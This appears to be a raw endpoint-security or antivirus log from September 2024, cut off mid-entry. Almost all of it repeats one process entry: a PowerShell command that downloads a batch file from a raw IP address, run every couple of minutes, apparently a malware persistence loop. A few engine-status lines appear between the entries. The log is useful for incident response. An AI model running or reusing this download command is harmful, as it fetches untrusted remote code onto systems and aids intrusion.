C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:32:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:34:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:37:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:39:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:42:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:44:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:47:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:49:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:52:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:54:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:57:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:59:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:02:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:04:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:07:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:12:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:17:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:22:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:24:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:27:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:29:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:32:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:34:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:37:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:39:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:42:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:44:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:47:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:49:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:52:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:55:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 22:57:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:00:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:02:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:05:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:07:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:09:42 AVAVER: 21.2.2455 AR2: 240830 defs: 24091510 2024-09-17 23:09:42 ARPOT2: Start 2260 2024-09-17 23:09:42 AR2CFG: 240830 2024-09-17 23:09:42 AR2DEV: Start 1 Driver: 210305 2024-09-17 23:10:04 APBURG: 39 1 error 120 BCF8466A41CDB25495C987B772F6652DD0382A03353C5829E20E1462486469C5 2024-09-17 23:10:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:12:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:15:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:17:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:20:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:22:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:25:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:27:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:30:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:32:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:35:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:37:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:40:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:42:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:45:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:47:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:50:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:52:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:55:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 23:57:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:00:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:02:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:05:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:07:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:10:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:12:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:15:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:17:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:20:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:22:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:25:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:27:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:30:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:32:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:35:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:37:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:40:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:42:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:45:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:47:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:50:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:52:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:55:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 00:57:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:00:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:02:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:05:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:07:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:10:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:12:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:15:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:18:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:20:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:23:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:25:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:28:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:30:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:33:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:35:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:38:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:40:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:43:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:45:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:48:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:50:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:53:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:55:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 01:58:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:00:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:03:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:05:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:08:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:10:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:13:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:15:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:18:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:20:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:23:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:25:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:28:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:30:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:33:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:35:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:38:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:40:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:43:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:45:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:48:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:50:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:55:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 02:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:00:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:03:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command 